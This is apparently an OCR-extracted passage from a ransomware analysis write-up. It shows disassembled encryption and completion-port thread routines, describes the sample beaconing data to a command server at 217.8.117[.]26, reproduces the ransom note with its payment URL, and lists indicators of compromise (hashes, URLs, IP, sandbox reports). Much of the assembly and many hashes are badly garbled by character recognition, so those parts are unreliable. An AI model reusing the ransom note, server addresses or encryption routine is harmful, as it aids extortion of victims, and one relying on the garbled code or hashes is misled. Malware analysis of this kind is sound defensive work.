BO8BE8000R482981 push offset sub_4@81FD7 ; Function
0000008482986 mav [edi+BCh], eax
BABOAIGRRR4A2980 call ds :QueuelserborkIten
BOBBEN00884A298F push esi 5 lpMem
BRBBEVA0BR482900 call Free_heap
HO220800884829C5 push [ebp+1pMemn] 5 lpMem
BBGE000884829C8 call Free_heap
B02D0800084829CD pop ecx
Q0D00000084025CE pop (143
BABB3E00RR4a29CF jmp short loc_482809

— i

e

GPRaaaaBRa4a2309

0B23000888402909 loc_482909:
BRB0E00BRB182800 cmp

dword_48C008, ebx

230F ja short loc_482901
S ! P .
OEBREAARRR402501 0000BEERRR4A29E1 push  [ebpehkey] ; hkey
GE0RE00000402901 loc_4823901: 3 dwiilliseconds| 80000860004839E4 call BCryptDestroykey
JB0REA0BBaAa2301 push 1 DOB0BEAA0R4829E9 push ebx ; dwFlags
2eeBEAE8BRA82503 call ds:Sleep S3BRRREARB4B29EA push [ebp+halgorithm] ; halgorithm
DO00BEA0BR4829ED call BCryptClosedlgorithmProvider
DOPOREAARB4RIF2 mov edi, [ebpsCompletionPort]
BEARBEE0BR4E29FS push ebx ; lpOverlapped
0QB0BEARBR4829F6 push offset sub_4082815 ; dwCompletionKey
BO0E000084829FE push ebx ; dwlumberOfBytesTransferred
B98088008084829FC push edi ; CompletionPort
DA0OREVADB4829FD call ds:PostQuevedCompletionstatus
BOBERBGEBAIAZABI mov esi, [ebp+nCount]
GABOREAABR4AIAGE lea eax, [ebpsHandles]
DO00BE080848248C push @FFFFFFFFh ; dwMilliseconds
2980RE00BB4B2ABE push 1 ; bWaitall
DO000e0000402018 push eax 3 lpHandles
GOBOREG00R482411 push esi ; nCount
BARBREBABR482A12 call ds:WaitForMultipleObjects
DO00BEA00R482418 test esi, esi
2220000000482 mayv esi, ds:CloseHandle
B080BEA080282428 jz short loc_ 482436
e ' 1
loepoacenaasaza2? mov edi, [ebp+nCount]|
"L*
==
BOG00REEAR4B2A2S
BAGR0REAABAR2AZ5 loc_AB2AZS: ; hobject
BA20000008482425 push [ebp+ebx*da+Handles]
2O00020000482A2C call esi ; CloseHandle
BEAGDREEAR4B2A3E inc ebsx
BA000DE0AB4A2AZF cmp ebx, edi

SHE0008000482431 jb

short loc_4@82425

T
= '

B000080008482433 mov

|
edi, [ebp+lompletionPort ]I

B =

DO0HBEA0BRLE A6

20EPARARRB4A2A36 Loc_402A36: ; hobject
BEPREE00BR482A36 push edi

2000RE0000402437 call esi ; CloseHandle
GOBRBAARRALAZAS pop edi

aopeBEaasaa4a2a3A pop (3]

BY00H0000482438 pop ebx

000088000848243C leave
0000BE00RR482A3D retn

SODOEE0RRB482A3D Start_encrypt_1_? endp
feopeaaeBe482A30
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PE
200080200040201A
202080200040201A
P000000000408201A ; Attributes: bp-based frame
A08802000048201A
|A0e00200808408281A ; DWORD stdcall StartAddress(LPVOID lpThreadParameter)
BBa8e880008408281A StartAddress proc near
BO0088000040201A
|000002000040201A NumberOfBytesTransferred= dword ptr -@ch
200000000040201A Overlapped= dword ptr -8
200000000040201A CompletionKey= dword ptr -4
|200000000040201A lpThreadParameter= dword ptr 8

1200000000040201A

P201A push  ebp
6pAERARREE4E281E mav ebp, esp
|Aoeecee088482010 sub esp, ach
B000B00006402020 lea eax, [ebp+Overlapped]
0000600008402023 push edi
P000e00008402024 push @FFFFFFFFh ; dwMilliseconds
POP0B0B060402026 push eax ; lpoverlapped
P0P0B00000402027 lea eax, [ebp+CompletionKey]
POR0BeB00040202A push eax ; lpCompletionkey
POPPERB000402028 lea eax, [ebp+NumberofBytesTransferred]
POP0BaB00040202E push eax ; lpNumberOfBytesTransferred

9BB8Ba800040202F push [ebp+1pThreadParameter] ; CompletionPort
\PBeeEARRAR4R2032 call ds:GetQueuedCompletionStatus

0000600008402038 mov edi, offset sub_482815
000060000040203D jmp short loc_48285E
_ i
=

000000000048205E

00000000RB48285E loc_40205E:

20000000AB48285E mov eax, [ebp+CompletionKey]

0B0000008@402861 cmp eax, edi

0808000088482863 Jnz short loc_408203F

— L ] : — L ]
= =
B00008000040203F 06000000004820865 push 2] ; lpOverlapped
B08000000040203F loc_48283F: 6600000000482867 push edi ; dwCompletionKey
B00000000848283F push [ebp+Overlapped] 0600000000482068 push [} ; dwNumberOfBytesTransferred
B000000000482042 push [ebp+NumberofBytesTransferred] 060000000048206A push [ebp+1lpThreadParameter] ; CompletionPort
©000000000402045 call eax 000000000040206D call ds:PostQueuedCompletionStatus
@oooceecan402047 push @FFFFFFFFh ; dwMilliseconds 0e0eeeEaRa402073 xor eax, eax
0080000000402049 lea eax, [ebp+Overlapped] 08EAEARERR402075 pOp edi
B000808808048204C push eax ; lpOverlapped 008800PBAB4B2876 leave
B08008008048204D lea eax, [ebp+CompletionKey] oeeeeeeeea482a77 retn 4
Bopeoeeeae40205@ push eax ; lpCompletionKey 0000200000402077 StartAddress endp
B080000000482051 lea eax, [ebp+NumberOfBytesTransferred] 0088000000482077
B0800880080482054 push eax ; lpNumberOfBytesTransferred
B000000008482855 push [ebp+1pThreadParameter] ; CompletionPort
0000000000402058 call ds:GetQueuedCompletionStatus
T

Once it finished it sends yet again another beacon with data to the server but this time to
“http://217.8.117[.]26/gatedrivers’. In the following picture we can find an example of a
ransom note that is left in every directory. The name convention for them is “<extension>-
decrypt.hta”

B ZUkMYh Docrypt - O *

ZUKMYh Decrypt

All your data has been ypted with

Do not worry: you have some hours to contact us and decrypt your data by paying a ransom.
To do this, follow instructions on this web site: http://217.8.117.26/pay
Also, you can install Tor Browser and use this web site: http://4dnd3utj 2zcsb, pay

IMPORTANT: Do not modify this file, otherwise you will not be able to recover your datal

Your authorization key:

how the file encryption is performed at a cryptographic level, how are some of the other
interesting strings (powershell get host by address) used, does this ransomware implement
persistence mechanisms, etc. Feel free to contact me for comments and questions.
Constructive feedback is always welcomed!

I0Cs
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Samples:
https://bazaar.abuse.ch/sample/a7e27cc38a39ff242da39d05e04b95ea9h656829dfe2e90e8226351
MD5:
79385ed97732aee0036e67824de18e28f4009abe9f41dad1e48340c96e29d62cfadc4ac8b9clibl4951ae8a
SHA256:

8d684a790a5683b8decde9fb5a819c4a164d3032723a151a30ff26d3c2blaabf6db3aae21a6d80857¢c85fE

URLs:

http://217.8.117[.]26/gateinfohttp://217.8.117[.]26/gatedrivershttp://4dnd3utjsmm2zcskt

IPs:

217.8.117[.]26

Tria.ge Sandbox reports:

https://tria.ge/reports/200724-gmz55kbvr2/behavioralihttps://tria.ge/reports/200724-
2v2mzfsjwx/behaviorallhttps://tria.ge/reports/200724-
kfjg2xfib2/behavioralihttps://tria.ge/reports/200724-
64rlsilgjl2/behaviorallhttps://tria.ge/reports/200724-
b5zwteacds/behaviorallhttps://tria.ge/reports/200724-
15z7parj4x/behavioralihttps://tria.ge/reports/200724-zxydprrjys/behaviorall
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